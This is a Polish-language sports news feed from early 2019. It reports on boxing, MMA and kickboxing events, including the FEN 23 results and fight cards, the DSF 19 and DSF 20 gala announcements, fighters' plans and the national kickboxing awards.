Floyd Mayweather Jr. pokonał Andre Berto i jako niepokonany zakończył karierę. Był wrzesień 2015 roku. Nie minęły dwa lata, a "Money" ponownie wszedł do ringu. Tym razem jego rywalem był zawodnik MMA – Conor McGregor. Mayweather wygrał 50 walkę w karierze, zainkasował 100 milionów dolarów plus część wpływów z pay per view. Ponownie Amerykanin zapewniał, że kończy karierę. Minęło trochę czasu i Mayweather zaprezentował się w Saitamie. Tam, podczas gali Rizin FF 14 w grudniu 2018 roku, pokonał młodego Tenshina Nasukawę. Za pojedynek zgarnął "tylko" 9 milionów dolarów.

Po walce z Bronerem, Pacquiao jasno podkreślił, że chciałby zmierzyć się z Mayweatherem. "Money" z bliska obserwował starcie Filipińczyka, ale na jego słowa nie zareagował. Czy istnieje prawdopodobieństwo, że dwaj utytułowani bokserzy ponownie wejdą do ringu? Pacquiao znajduje się w posiadaniu pasa WBA. Z kolei Mayweather zrobił wszystko, co mógł, pobił wszelkie rekordy i pozostaje niepokonany. Podstawowa kwestia – z obu stron musi być chęć. Pacquiao liczy na rewanż, Mayweather wcale do niego nie musi się spieszyć.

KM

DSF 19: Jan "Iron" Lodzik vs Mateusz "Rzeźnik" Rajewski III

Gala DSF 19 odbędzie się już 24 stycznia w TVP Sport. Początek o godzinie 20:15. Na gali odbędą się dwie walki o mistrzowskie pasy federacji DSF Kickboxing Challenge. Najpierw Jan "Iron" Lodzik zmierzy się po raz trzeci z Mateuszem "Rzeźnikiem" Rajewskim, a w pojedynku wieczoru "Mad Max" Bratkowicz spotka się z Danielem Veidenthalerem. Kibice zobaczą także międzynarodowy mecz K-1 Polska-Litwa.

[kod]

Jeszcze trzy walki

2 lutego w Fortalezie podczas gali UFC Fight Night 144 Jose Aldo zmierzy się z Renato Carneiro. Dla byłego mistrza wagi piórkowej będzie to jedna z ostatnich walk, ponieważ 32-latek chce zakończyć karierę.

W 2009 roku Aldo wywalczył tytuł mistrzowski w organizacji WEC. Jego ofiarą padł Mike Brown. Brazylijczyk bronił pasa dwukrotnie, a następnie WEC włączono do UFC. Aldo automatycznie stał się czempionem tej organizacji i na tronie zasiadał do 2015 roku. Po drodze pokonał m.in. Chada Mendesa, Frankiego Edgara czy Jung Chan-sunga. Dopiero Conor McGregor znalazł sposób na Aldo i pozbawił go tytułu. Brazylijczyk chciał spotkać się z pogromcą w rewanżu, jednak do niego nie doszło. McGregor wybrał inny kierunek – najpierw starcia z Nate’m Diazem, a potem pojedynek o pas wagi lekkiej z Eddie’m Alvarezem. Aldo pozostał tymczasowy tytuł w kategorii piórkowej. Brazylijczyk pokonał kolejny raz Edgara, zaś McGregor oddał pas i Aldo ponownie został czempionem. Wydawało się, że wszystko wróciło do normy, jednak rywale również byli spragnieni sukcesów. Aldo przegrał z Maxem Holloway’em i stracił tytuł. W rewanżu również lepszy okazał się Amerykanin. Po dwóch porażkach przyszła osłoda – ostatnio Aldo wygrał z Jeremym Stephensem.

Bez dwóch zdań – 32-letni Brazylijczyk zapisał bogatą kartę w historii MMA. Brazylijczyk zapowiada zakończenie kariery. – Chcę zakończyć swoją karierę w Brazylii (za MMAfighting.com) – podkreśla Aldo, który przedstawił plan na ten rok. – Chcę stoczyć trzy walki. Teraz w Fortalezie, ale już negocjuję następny występ na maj (UFC 237), jeśli się nie mylę w Kurytybie. Potem zakończę w drugim półroczu. Wiem, że kolejne wydarzenie będzie miało miejsce w Brazylii – przedstawia.

W najbliższym starciu, 2 lutego, były mistrz zmierzy się z Renato Carneiro. 29-letni Brazylijczyk radzi sobie dobrze w UFC, z sześciu walk wygrał pięć. Przegrał jedynie z Brianem Ortegą, a ostatnio wypunktował Cuba Swansona.

Aldo myśli o pożegnaniu z UFC, dlatego odrzuca możliwość próby rywalizacji o pas. – Nie ma powodu, żeby dążyć do tej walki – mówi zawodnik. – Możecie być pewni, że będę problemem dla każdego, kto stanie przede mną, ponieważ wygram te trzy walki – zapewnia.

Fot. Jose Aldo Junior Facebook

KM

Gala DSF 19 przeniesiona z Grudziądza do Warszawy

Z przyczyn organizacyjnych gala DSF Kickboxing Challenge 19 zostaje przeniesiona do Hali Sportowej Ośrodka Sportu i Rekreacji dzielnicy Śródmieście przy ul. Polnej 7a w Warszawie. Pierwotnie impreza miała się odbyć w Hali Widowiskowo-Sportowej w Grudziądzu. Data i godziny transmisji (24 stycznia, godz. 20:15 w TVP Sport) pozostają bez zmian.

""

Na gali DSF 19 w Warszawie zgodnie z planem odbędą się dwa pojedynki mistrzowskie o pas DSF Kickboxing Challenge. Najpierw Jan „Iron” Lodzik po raz trzeci zmierzy się z Mateuszem „Rzeźnikiem” Rajewskim. Stawką ich walki będzie należący do tego pierwszego tytuł w kategorii piórkowej (do 65 kg). Główną atrakcją wieczoru będzie potyczka Maksymiliana Bratkowicza z mocarnym Danielem Veidenthalerem. „Mad Max” przystąpi do drugiej obrony pasa w wadze średniej (do 86 kg). Wcześniej kibice zobaczą także składający się z trzech potyczek międzynarodowy mecz K-1 Polska-Litwa.

Transmisja z gali DSF Kickboxing Challenge 19 odbędzie się 24 stycznia od godziny 20:15 w TVP Sport oraz na sport.tvp.pl.

Bal z nagrodami

Nie da się ukryć, że rok 2018 był niezwykle udany dla kickboxingu. 11 stycznia w Węgrowie podsumowano minionych dwanaście miesięcy. Przyznano również nagrody Herosa 2018 w kilkunastu kategoriach.

W 2018 roku kickboxing wykonał milowy krok. 30 listopada organizacja WAKO została przyjęta w poczet członków Międzynarodowego Komitetu Olimpijskiego. Z kolei biało-czerwoni z mistrzostw Europy w Mariborze i Bratysławie przywieźli 32 medale. Było więc co świętować i kogo nagradzać. Warto podkreślić, że wydarzenie w Węgrowie weszło w cykl obchodów 30-lecia Polskiego Związku Kickboxingu. Dyscyplina pojawiła się w Polsce w latach 80. XX wieku za sprawą Andrzeja Palacza. Jednak ówczesne władze niechętnie odnosiły się do kickboxingu. Polski Związek Kickboxingu zarejestrowano w lipcu 1989 roku, ale już wtedy nasi zawodnicy mieli renomę na świecie. Wystarczy wymienić Marka Piotrowskiego, Piotra Siegoczyńskiego czy Przemysława Saletę. 

To już 30 lat PZKb. Polski kickboxing to marka sama w sobie. Na imprezach mistrzowskich jesteśmy w czołówce, a dyscyplina poczyniła ważne kroki w rozwoju i zwiększeniu rozpoznawalności. Bal Mistrzów Kickboxingu w Węgrowie był znakomitą okazją do nagrodzenia tych, którzy wyróżniali się w 2018 roku. 

Poniżej lista nagrodzonych:
Paulina Stenka – zawodniczka roku PZKb w formułach planszowych
Łukasz Puczyński – zawodnik roku PZKb w formułach planszowych
Kamila Bałanda i Karolina Kubiak – zawodniczka roku PZKb w formułach ringowych
Robert Krasoń – zawodnik roku PZKb w formułach ringowych
Iwona Nieroda (na zdjęciu) – zawodniczka roku walki zawodowe
Kamil Jenel – zawodnik roku walki zawodowe
Tomasz Biernacki – klubowy trener roku
Radosław Laskowski – trener roku kadry PZKb
Krzysztof Kacperski – sędzia roku
Mecz Polska-Węgry w kick light w Kartuzach – impreza roku
Panzer Suwałki i Palestra Warszawa – wyróżnienia w kategorii klubów

Honorowego Herosa Roku otrzymał Tomasz Skrzypek, który zakończył pracę z kadrą. – To jest moje pożegnanie z reprezentacją Polski. Na balu Polskiego Związku Kickboxingu otrzymałem nagrodę HONOROWEGO HEROSA PZKB. Polskę reprezentowałem 26 lat. W tym 21 pełniłem funkcję trenera kadry narodowej. Najdłużej z moim przyjacielem Tomkiem Mamulskim. Dziękuję za daną mi szansę. Dziękuję zawodnikom z którymi pracowałem. To był dla mnie zaszczyt. Dziękuję za tak godne pożegnanie. Miałem łzy w oczach. Warto było to wszystko przeżyć – taką informację Tomasz Skrzypek przekazał w mediach społecznościowych.

Fot. Iwona Nieroda Facebook

KM

 

Rębecki ponownie obronił tytuł mistrzowski

W Lubinie odbyła się gala FEN 23, podczas której pas mistrzowski wagi lekkiej w formule MMA obronił Mateusz Rębecki. Nowym czempionem K-1 w limicie 77kg został Dominik Zadora. 27-latek pokonał przez nokaut Łukasza Pławeckiego.

W karcie głównej było siedem walk – cztery w MMA i trzy w K-1. Pięć pojedynków, pięć wygranych – taki bilans przed galą w Lubinie w FEN miał Mateusz Rębecki. Do tego na koncie pas wagi lekkiej. Tytuł Rębecki wywalczył pokonując Mariana Ziółkowskiego podczas gali FEN 20. Dotychczas bronił go raz – w trzeciej rundzie pokonał Łukasza Koperę. W Lubinie przyszło mu rywalizować z Daguirem Imavovem, który przed polską publicznością zdążył się zaprezentować się z dobrej strony. Od początku Rębecki starał się narzucić swoje warunki. Płaszczyzną walki był w głównej mierze parter, w którym popularny "Chińczyk" wykorzystywał swoje umiejętności zapaśnicze. Po pierwszej rundzie narożnik Imavova poddał go. Okazało się, że zawodnik złamał żebro. Mistrzem wagi lekkiej pozostał zatem Rębecki.

Drugie zwycięstwo w FEN zanotował Marcin Sianos, który pokonał Marcina Zontka. Pojedynek rozstrzygnął się w pierwszej rundzie. Potężny prawy sierpowy Sianosa dotarł do twarzy Zontka, który padł na deski. Były pretendent do pasa M-1 potrzebował kilku minut, aby się podnieść. Czwarte zwycięstwo Sianosa.

W Lubinie Łukasz Pławecki po raz pierwszy bronił mistrzowskiego pasa w K-1, który zdobył w maju 2018 roku pokonując Wojciecha Wierzbickiego. Podczas gali FEN 23 „Boom Boom” nie miał łatwego zadania. Dominik Zadora to niezwykle groźny zawodnik, który swoją wartość udowodnił w Lubinie. Pierwsza runda pokazała, że mistrzowska walka będzie kapitalnym widowiskiem. Szybkie tempo, kopnięcia, ciosy. W ostatnich sekundach Zadora naruszył Pławeckiego. Zawodnik trenujący we Wrocławiu chciał podkreślić swoją przewagę, jednak mistrz był twardy. Pławecki próbował efektownych akcji, ale nie zagroził rywalowi. Liczne kopnięcia sprawiły, że prawe udo 31-latka było mocno obite. W trzeciej rundzie Zadora dosłownie katował nogę rywala. Sędzia liczył Pławeckiego „na stojąco”, gdyż ten zaczął wyraźnie utykać. „Boom Boom” pokazał charakter i walczył dalej. Chwilę później grad ciosów ze strony Zadory i kolejne liczenie, Pławecki wstał i podjął rękawicę, jednak po chwili upadł i sędzia przerwał pojedynek. Zadora został nowym mistrzem. 

Efektowne zwycięstwo Szymona Duszy w formule MMA (77kg). Zawodnik z Opola szybko zepchnął do defensywy Tymoteusza Łopaczyka. 22-latek po jednym z ciosów rywala zaczął cofać się pod siatkę, Dusza wykorzystał sytuację. 28-latek mocnym kopnięciem na wątrobę sprawił, że Łopaczyk osuwał się na deski. Dusza postawił kropkę nad "i" i zanotował pierwszą wygraną w FEN. Skuteczny Wojciech Wierzbicki. W walce w K-1 Polak wypunktował Pavla Oboznego. Wierzbicki przeważał nad rywalem, a w drugiej rundzie potężny low kick sprawił, że Białorusin znalazł się na macie i przez dłuższy czas nie mógł się z niej podnieść.

Po trzech rundach sędziowie nie mieli wątpliwości, kto był lepszy w rywalizacji Eliasza Jankowskiego i Huberta Dylewskiego. Zawodnik z Legnicy pokonał o 14 lat młodszego rywala. W trzeciej rundzie triumfował Łukasz Charzewski, który w walce na zasadach MMA zmusił do poddania Łukasza Bieńka. Przez całe starcie "Harry" był stroną dominującą. W pierwszej odsłonie rozbił nos rywala, w parterze dyktował warunki i w końcu założył skuteczną gilotynę.

Karta wstępna FEN 23 liczyła cztery pojedynki. W K-1 Tomasz Zamysłowski w drugiej rundzie pokonał Łukasza Kaletę. Łukasz Kaczmarczyk lepszy od Roberta Rajewskiego, zaś Mariusza Lach od Bartosza Hassę. Oba starcia zakończyły się decyzjami sędziów. W pojedynku na zasadach MMA Kamil Kraska szybko poddał Szymona Szarpaka.

KM

Kowalkiewicz poznała kolejną rywalkę

Karolina Kowalkiewicz poznała kolejną rywalkę, z którą spotka się 30 marca z Filadelfii. Podczas gali UFC on ESPN 2 Polka zmierzy się z Michelle Waterson.

Dla 33-letniej Kowalkiewicz będzie to dziewiąte starcie w amerykańskiej organizacji. W ubiegłym roku urodzona w Łodzi zawodniczka dwukrotnie prezentowała się w oktagonie. Kwietniową walkę w Nowym Jorku z Felice Herrig rozstrzygnęła na swoją korzyść. Kowalkiewicz dobrze radziła sobie w każdej płaszczyźnie, walczyła mądrze i mogła cieszyć się ze zwycięstwa, choć w trzeciej rundzie Herrig posłała w jej stronę kilka mocnych ciosów. Polka triumfowała niejednogłośną decyzją sędziów. Z kolei we wrześniu w Dallas Kowalkiewicz musiała przełknąć gorzką pigułkę. Zaledwie dwóch minut potrzebowała Jessica Andrade, aby posłać Polkę na deski. Sędzia przerwał pojedynek.

Z kolei Waterson może pochwalić się 100% skutecznością w 2018 roku. 33-letnia Amerykanka wygrała dwa pojedynki – z Cortney Casey-Sanchez i Felice Herrig. W obu przypadkach triumfowała decyzją sędziów. Dotychczas Waterson przegrała dwa starcia w UFC. Jej pogromczyniami były Rose Namajunas i Tecia Torres.

Większe doświadczenie w UFC ma Karolina Kowalkiewicz i to ona wydaje się być faworytką marcowego starcia. Polka miała okazję rywalizować o mistrzostwo w wadze słomowej, jednak uległa Joannie Jędrzejczyk. Swego czasu pokonała obecną posiadaczkę pasa – Rose Namajunas. Umiejętności nie można odmówić również Waterson. Amerykanka stała się czołową postacią w rywalizacji kobiet w UFC. Wcześniej dobrze prezentowała się w organizacji Invicta, gdzie zdobyła tytuł w wadze atomowej.

Amerykanka większość walk wygrała przed czasem. Jej niezaprzeczalnym atutem jest szybkość. Z kolei Kowalkiewicz przyzwyczaiła do rywalizacji na pełnym dystansie, imponuje wydolnością i spokojem. W ostatniej walce Andrade szybko ruszyła na Polkę, co dało jej wygraną. Gdy Kowalkiewicz przetrwa pierwsze minuty i kontroluje pojedynek, atuty są po jej stronie. W rywalizacji z Amerykanką, Polka musi mieć się na baczności i uważać na wszelkie próby sprowadzenia.

Fot. Karolina Kowalkiewicz Facebook

KM

FEN 23: Zmiany na karcie walk

Łukasz Bieniek (6-4, 1 KO, 3 SUB) będzie rywalem Łukasza Charzewskiego (5-1, 1 KO, 1 SUB), a Szymon Szarpak (0-0) zmierzy się z Kamilem Kraską (1-1, 1 KO) podczas gali FEN 23, która 12 stycznia odbędzie się w Lubinie.

Bieniek wywodzi się z zapasów, a swój pierwszy zawodowy pojedynek stoczył w 2012 roku, gdy w 1. rundzie pokonał Pawła Zeglińskiego. Później – raz przez techniczny nokaut i znowu przez poddanie – rozprawił się z Kamilem Rozdzialikiem i Sebastianem Solarzem. Bieniek do klatki wróci po prawie trzyletniej przerwie, gdyż swój ostatni pojedynek stoczył w styczniu 2016 roku wygrywając z Przemysławem Fajerem.

Szarpak w Lubinie dopiero zadebiutuje na zawodowstwie. 19-latek pochodzący ze Szczecina w karierze amatorskiej stoczył trzy pojedynki, z których dwa wygrał i jeden przegrał. W czerwcu 2018 roku pokonał Patryka Ostrowskiego, w październiku 2017 roku wygrał na punkty z Mateuszem Wilkiem.

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna – Polsat Sport Extra, Super Polsat – start, godzina 20:00

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
70 kg, MMA: Łukasz Charzewski VS Łukasz Bieniek
77 kg, MMA: Kamil Kraska VS Szymon Szarpak

Karta wstępna – Polsat Sport Fight – start, godzina 19:00

67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

18:30 – pierwsza walka gali FEN 23

77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

Ceremonia ważenia – wideo (zmiana miejsca i godziny!)

12 stycznia w Lubinie odbędzie się gala Fight Exclusive Night 23. Przedstawiamy datę oraz miejsce, w którym odbędzie się oficjalna ceremonia ważenia oraz plan telewizyjnej transmisji.

Ceremonia ważenia:

Oficjalna ceremonia ważenia odbędzie się o godzinie 17:00 w Kinie Helios w Lubinie (ul. Generała Władysława Sikorskiego 20, 59-300 Lubin). Wstęp na ceremonię dla kibiców jest wolny. Transmisja z ceremonii ważenia zrealizowana przez telewizję FighTime.pl odbędzie się na oficjalnym profilu na Facebooku federacji.

INFORMACJA DLA KIBICÓW: Wraz z naszym partnerem, kinem Helios, przygotowaliśmy specjalną promocję: wystarczy, że pokażesz bilet na dowolny film z kina Helios w Lubinie z 11 lub 12 stycznia, a dostaniesz 20% rabat na bilet FEN 23. Wejściówki na galę z rabatem będzie można nabyć podczas ceremonii ważenia na naszym stoisku w kinie oraz w Hali RCS w dniu wydarzenia.

Plan transmisji telewizyjnej:

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna – Polsat Sport Extra, Super Polsat – start, godzina 20:00

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
70 kg, MMA: Łukasz Charzewski VS Łukasz Bieniek
77 kg, MMA: Kamil Kraska VS Szymon Szarpak

Karta wstępna – Polsat Sport Fight – start, godzina 19:00

67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

18:30 – pierwsza walka gali FEN 23

77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

Nasukawa będzie miał kolejnego znanego rywala?

Tenshin Nasukawa staje się coraz bardziej rozpoznawalny. Duży wpływ na to miała jego walka z utytułowanym bokserem Floydem Mayweatherem Jr. Niewykluczone, że teraz młody Japończyk zmierzy się z byłym mistrzem UFC Conorem McGregorem.

Na gali Rizin 14, która odbyła się 31 grudnia w Saitamie doszło do starcia Mayweathera Jr. z niepokonanym japońskim kickbokserem Tenshinem Nasukawą. Pojedynek odbył się na zasadach boksu. 41-latek górował nad młodszym o 21 lat rywalem. Japończyk już w pierwszej rundzie był liczony trzykrotnie, na co postanowił zareagować jego narożnik. Rzucony ręcznik wiązał się z zakończeniem walki. Dla młodego Nasukawy porażka była ogromnym ciosem, ale jak się okazuje nadal będzie o nim głośno. 20-latek ma spore umiejętności, o czym świadczy 27 wygranych walk, w tym 21 przed czasem. Japończyk, można powiedzieć, stał się magnesem dla gwiazd. Stoczył walkę z Mayweatherem, a teraz miałby spotkać się z Conorem McGregorem.

Irlandczyk jasno przedstawił swoje plany. – Chciałbym pojechać do Tokio, żeby zmierzyć się z Tenshinem Nasukawą w pojedynku MMA – napisał McGregor. Walka miałaby się odbyć jeszcze przed latem. Wiadomo, że McGregor szuka nadal płaszczyzny, na której może brylować. Przegrał głośną walkę bokserską z Mayweatherem. Sytuacja 30-latka w UFC również skomplikowała się. McGregor sięgał po pas w wadze piórkowej i lekkiej. Pierwszy zwakował, a drugi został mu… odebrany, ponieważ Irlandczyk nie palił się do rywalizacji w celu obrony. Ostatnio McGregor musiał uznać wyższość Chabiba Nurmagomiedowa. Jak widać – sytuacja niedawnej pierwszoplanowej postaci UFC stała się trudna. McGregor jest na zakręcie, ale robi wszystko, aby wykorzystać swoją wartość marketingową. Teraz stawia na Nasukawę, a właściwie na pieniądze, które może dostać za walkę z Japończykiem. Mayweather za starcie z młodym zawodnikiem zarobił około 9 milionów dolarów.

Nasukawa odniósł się do propozycji McGregor. – Drogi Panie McGregor, dziękuję za zapamiętanie mojego imienia. Jestem zaszczycony, że rozważasz starcie ze mną. 58kg, zasady kickbokkserskie – doprowadziłby nas niebawem do ringu – odpowiedział Japończyk.

20-latek stawia swoje warunku. Teraz czas na ruch McGregor. Czy Irlandczyk będzie chciał rywalizować w kolejnej dyscyplinie? W boksie mu nie wyszło, ale znając McGregora – show i kasa.

Fot. Tenshin Nasukawa Facebook

KM

ZAPROSZENIE – "Lekcja WF-u z Mistrzami Kickboxingu" w Grudziądzu | DSF 19

Jutro (wtorek 8 stycznia 2019) o godzinie 11:45 w Hali Sportowej przy ul. Nauczycielskiej 19 w Grudziądzu odbędzie się organizowana przez federację DSF Kickboxing Challenge pokazowa „Lekcja WF-u z Mistrzami Kickboxingu”. Dzieci i młodzież otrzymają od organizatorów gali DSF 19 niepowtarzalną możliwość spotkania i wspólnego trenowania z największymi gwiazdami polskiego kickboxingu.

W Grudziądzu gościć będą gwiazdy federacji DSF Kickboxing Challenge: dwukrotny mistrz świata Marcin Różal Różalski, mistrz DSF w wadze średniej (do 86 kg) Maksymilian Bratkowicz, mistrzyni świata Róża Gumienna, mistrz DSF w wadze lekkiej (do 71 kg) Jarosław Daschke oraz mistrz DSF wagi piórkowej (do 65 kg) Jan Lodzik, którzy zaprezentują swoje wspaniałe umiejętności i porozmawiają z fanami. Pojawią się także zawodnicy miejscowego klubu żużlowego MRGARDEN GKM Grudziądz.

Już 24 stycznia "Mad Max" Bratkowicz i "Jan "Iron" Lodzik będą bronić mistrzowskich pasów federacji DSF w dwóch najważniejszych walkach gali DSF Kickboxing Challenge 19 w Grudziądzu. Bilety na to wydarzenie są dostępne w serwisach KupBilety24.eu oraz KupBilecik.pl. Więcej szczegółów znajdziecie naFacebooku >>>

Zapraszamy wszystkich chętnych do udziału w jutrzejszej "Lekcji WF-u z Mistrzami Kickboxingu". Wstęp wolny.

DSF 20 Kraków | Legenda K-1 Łukasz Jarosz gotowy do debiutu w DSF!

Już 23 lutego legendarny polski zawodnik K-1 Łukasz Jarosz zadebiutuje w federacji DSF Kickboxing Challenge. Zawodowy i amatorski mistrz świata, który wygrywał przed czasem m.in. z Marcinem Różalskim i Łukaszem Jurkowskim, w 2018 roku powrócił na ring po 8,5 rocznej przerwie. 23 lutego na gali DSF 20 w Krakowie Jarosz zmierzy się z Holendrem Wendellem Roche.

– Kibice pamiętają mnie przede wszystkim z walk turniejowych. W pierwszym oficjalnym turnieju K-1 we Wrocławiu wygrałem wszystkie walki przez nokaut w 1. rundzie. W kolejnych zawodach również znokautowałem każdego rywala, w finale był to Marcin Różalski – wspomina zawodnik Jarosz Fight Club, który w maju na Stadionie Narodowym efektownie znokautował w 2. rundzie Michała Wlazło.

– Kiedyś turniejów i gal nie było tak dużo. Dziś zawodnicy liczą swoje lajki w Internecie i tą miarą mierzą swój sukces. Nie tędy droga. Liczą się wygrane walki. Ja najpierw godziłem się walczyć, a potem pytałem o nazwiska rywali – mówi weteran polskiego kickboxingu. – Wielką motywacją do mojego powrotu był wywiad Marcina Różalskiego, który powiedział, że jestem jedynym Polakiem, z którym może walczyć. Ja oczywiście też jestem chętny i mam nadzieję, że do tej walki dojdzie. W Polsce jest wielu świetnych zawodników wagi ciężkiej, ale najlepszy jest dziś Tomek Sarara.

– Moje największe atuty to siła, dynamika i szybkość. Często kończę walki przed czasem – zaznacza Jarosz, którego zawodowy bilans to 41 zwycięstw (34 przez nokaut) i tylko 3 porażki. – 23 lutego walczę w Krakowie z Holendrem Wendellem Roche. Nie lekceważę nigdy żadnego rywala, każdy kto wychodzi do ringu jest niebezpieczny. Jeżeli pojawi się szansa, to go znokautuję!

Bilety na galę DSF 20 dostępne w serwisach Eventim.pl, Ticketclub.pl oraz KupBilety24.eu. Wszystkie informacje o gali są dostępne na stronie wydarzenia na Facebooku >>>

 

Bez odpowiedzi

Maleją szanse na pojedynek Anthony'ego Joshuy z Deontayem Wilderem. Tak przynajmniej twierdzi promotor mistrza świata IBO, WBA, IBF i WBO – Eddie Hearn.

Temat starcia Joshuy i Wildera obecny jest od ponad roku. Strony prowadzą rozmowy, jednak efektów nie widać. Wydawało się, że do walki może dojść wiosną 2018 roku, potem latem. Obaj pięściarze byli gotowi spotkać się i stoczyć bój o prymat w wadze ciężkiej. Wiadomo, że kością niezgody były pieniądze.

Po grudniowym starciu Wildera z Tysonem Fury'm, które zakończyło się remisem odżył temat starcia Amerykanina z Joshuą. Z jednej strony mistrz WBC podkreślał chęć spotkania z 29-latkiem z Watfordu, z drugiej wyrażał gotowość do rewanżu z olbrzymem z Wilmslow. Ponadto, przed świętami Amerykanin podkreślał konieczność ponownego spotkania się z Fury’m. Pierwsze starcie zakończyło się remisem, a więc należy wyłonić boksera, który jest lepszy. W związku z tym Eddie Hearn traci nadzieję na zorganizowanie walki „AJ” z Wilderem. – Chcieliśmy tej walki 13 kwietnia na Wembley. Stopniowo oferowaliśmy Wilderowi coraz więcej za pojedynek i nie chodzi o sumę, ale o procentowy udział. Zarobiłby więcej niż kiedykolwiek wcześniej. Nie możemy przekroczyć pewnej granicy, bo "AJ" jest stroną A – mówi Eddie Hearn.

Obóz Wildera pozostaje obojętny na propozycje promotora Joshuy. Wszystko wskazuje na to, że Amerykanin w pierwszej kolejności planuje rewanż z Fury'm, w którym będzie chciał udowodnić swoją wyższość i tym razem wyraźnie wygrać. – Pomimo trzech czy czterech e-maili i wielu telefonów nie uzyskaliśmy od obozu Deontaya Wildera żadnej odpowiedzi. W końcu uświadamiasz sobie, że im może tak na tej walce nie zależy. Pewnie chcą rewanżu z Fury'm – przedstawia Hearn.

Kibice boksu wierzą, że w końcu dojdzie do pojedynku czempionów kategorii królewskiej. Obóz Joshuy chciałby zorganizować walkę 13 kwietnia, ale obecnie nic nie wskazuje na to, aby te plany udało się przekuć w rzeczywistość. Zapewne na Wembley „AJ” zmierzy się z innym rywalem. Wśród kandydatów są Dilian Whyte i Jarrel Miller.

Fot. Anthony Joshua Facebook

KM

Głodny Jones

Po zwycięstwie z Alexandrem Gustafssonem, Jon Jones jest głodny kolejnych walk i triumfów. Amerykanin zapowiada, że w 2019 roku stoczy trzy pojedynki.

Podczas gali UFC 232, która odbyła się w Inglewood, choć pierwotnie miała mieć miejsce w Las Vegas "Bones" znokautował rywala ze Skandynawii. Wokół pojedynku było gorąco. Gala została przeniesiona głównie z powodu… Jonesa, w którego organizmie wykryto niewielkie ilości turinabolu. Warto przypomnieć, że Amerykanin zdążył się już wsławić wpadkami dopingowymi. Tym razem UFC zrobiło wszystko, aby do walki doszło. W trzeciej rundzie Jones zastopował Gustafssona i mógł cieszyć się z 23 zwycięstwa w karierze. Zaprezentował się po raz pierwszy od półtora roku, ale wrócił w efektowny sposób – znowu zasiada na tronie. – W ciągu ostatnich kilku dni coś we mnie się zmieniło. W moim sercu i umyśle. To szalejący głód zwycięstw – przedstawia Jon Jones. – W przeszłości walczyłem i gdy zrealizowałem plan imprezowałem i wypełniałem czas nonsensem. Po odzyskaniu pasa myślę tylko o tym, aby wrócić i ponownie wygrać. Cały czas chcę udowadniać, że jestem najlepszy na świecie. Wracam do domu i ruszam na siłownię, aby budować swoje umiejętności – dodaje.

31-letni Amerykanin przedstawił swoje plany na 2019 roku. – Zamierzać stoczyć trzy walki i pozostawić zero wątpliwości, co do mojej dominacji. Mam zamiar to zrobić, bo to moja pasja. 2019 będzie niesamowity. Wszystko dzięki temu, że wiem, co jest ważne. Tak więc rywale w mojej dywizji – idźcie, ustawcie się, wszyscy to dostaniecie. Król powrócił i nikt nie może spać spokojnie. Ta sama korona, twarz, ale większe cierpienie dla innych. To przyniosę w 2019 roku – zapowiada Jones.

Amerykanin to jedna z najbardziej rozpoznawalnych twarzy UFC. Z jednej strony wielki mistrz, który dzierżył pas wagi półciężkiej w latach 2011-2015. Z drugiej postać kontrowersyjna. Jones ma na sumieniu problemy z dopingiem, wypadek i ucieczkę z miejsca zdarzenia, jazdę bez prawa jazdy, udział w nielegalnych wyścigach ulicznych. Jon Jones podkreśla, że w jego myśleniu zaszła zmiana. Czas pokaże.

KM

Zmiany w karcie walk gali FEN 23

Hubert Dylewski (2-3-1) zastąpi Rafała Niestrzębę, a Robert Rajewski Jr (5-5) Kacpra Muszyńskiego 12 stycznia w Lubinie podczas gali FEN 23. Obaj zawodnicy wystąpią na Dolnym Śląsku w formule K-1.

Hubert Dylewski, w przeciwieństwie do ojca, który również może pochwalić się wieloma sukcesami na koncie, skupia się w swojej karierze na walkach w kickboxingu. Trenując w warszawskim klubie Garuda Muay Thai Gym wypracował sobie zawodowy rekord dwóch zwycięstw, trzech porażek i jednego remisu. Zawodnik oba zwycięstwa doniósł na galach organizacji King of Kings, w tym bardzo efektowne w pojedynku z Ricardasem Zeimanisem, którego posłał na deski już w pierwszej rundzie.

Dylewski w Lubinie skrzyżuje rękawice z Eliaszem Jankowskim w limicie 67 kilogramów.

Robert Rajewski w poprzednich pojedynkach w federacji FEN walczył nie tylko w formule K-1, ale również w MMA, ulegając wymagającym przeciwnikom – Michałowi Wrzoskowi i Aleksandrowi Georgasowi. 12 stycznia w Lubinie Rajewski Jr powróci do dyscypliny, w której odnosił największe swoje sportowe sukcesy, m.in. wielokrotnie zdobywał tytuł kickbokserskiego mistrza Polski i uczestniczył w prestiżowym turnieju King of Kings World GP. Trenowany przez swego ojca Roberta zawodnik ma na swym koncie także tytuł międzynarodowego mistrza Polski w wushu sanda, z którego się wywodzi.

Robert Rajewski Jr zmierzy się w Lubinie z Łukaszem Kaczmarczykiem w limicie 70 kilogramów.

Karta walk FEN 23: 

70 kg: Mateusz Rębecki VS Daguir Imavov*

-120 kg: Marcin Zontek VS Marcin Sianos
-77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
-77 kg: Tymoteusz Łopaczyk VS Szymon Dusza
-77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
-67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
-70 kg: Łukasz Charzewski VS Adam Brzezowski
-70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski
-61 kg, K-1: Bartosz Hassa VS Mariusz Lach
-77 kg: Kamil Kraska VS Mateusz Janur

